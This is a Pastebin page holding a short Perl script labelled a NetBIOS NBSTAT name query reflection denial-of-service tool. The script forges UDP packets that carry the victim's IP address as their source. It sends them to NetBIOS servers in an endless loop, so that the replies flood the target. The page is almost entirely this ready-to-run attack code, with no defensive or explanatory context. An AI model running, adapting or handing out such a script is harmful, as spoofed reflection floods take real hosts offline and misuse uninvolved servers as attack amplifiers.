Advertisement
hackerscommunity

NetBios NBSTAT name query reflection dos v1

Jul 16th, 2015
214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.89 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # NetBios NBSTAT name query reflection dos
  4. # by Todor Donev & Mike Brady :))
  5. #
  6. #
  7. use Net::RawIP;
  8. @nbns = qw(
  9. 127.0.0.1
  10. );
  11. if ($ARGV[0] eq '') { print "Use: $0 <IP>\n"; exit; }
  12. my $target = "$ARGV[0]";
  13. $request =  "\xa2\x48\x00\x00\x00\x01\x00\x00";
  14. $request .= "\x00\x00\x00\x00\x20\x43\x4b\x41";
  15. $request .= "\x41\x41\x41\x41\x41\x41\x41\x41";
  16. $request .= "\x41\x41\x41\x41\x41\x41\x41\x41";
  17. $request .= "\x41\x41\x41\x41\x41\x41\x41\x41";
  18. $request .= "\x41\x41\x41\x41\x41\x00\x00\x21";
  19. $request .= "\x00\x01";
  20.  
  21. my $sock =  new Net::RawIP({ udp => {} });
  22. while () {
  23.     for (my $i=0; $i < @nbns; $i++) {
  24.                 select(undef, undef, undef, 0.30);
  25.                 $sock->set({  ip =>  {  saddr => $target, daddr => $nbns[$i]},
  26.                              udp =>  { source => 31337,   dest  => 137, data => $request} });
  27.                 $sock->send;
  28.         }
  29. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement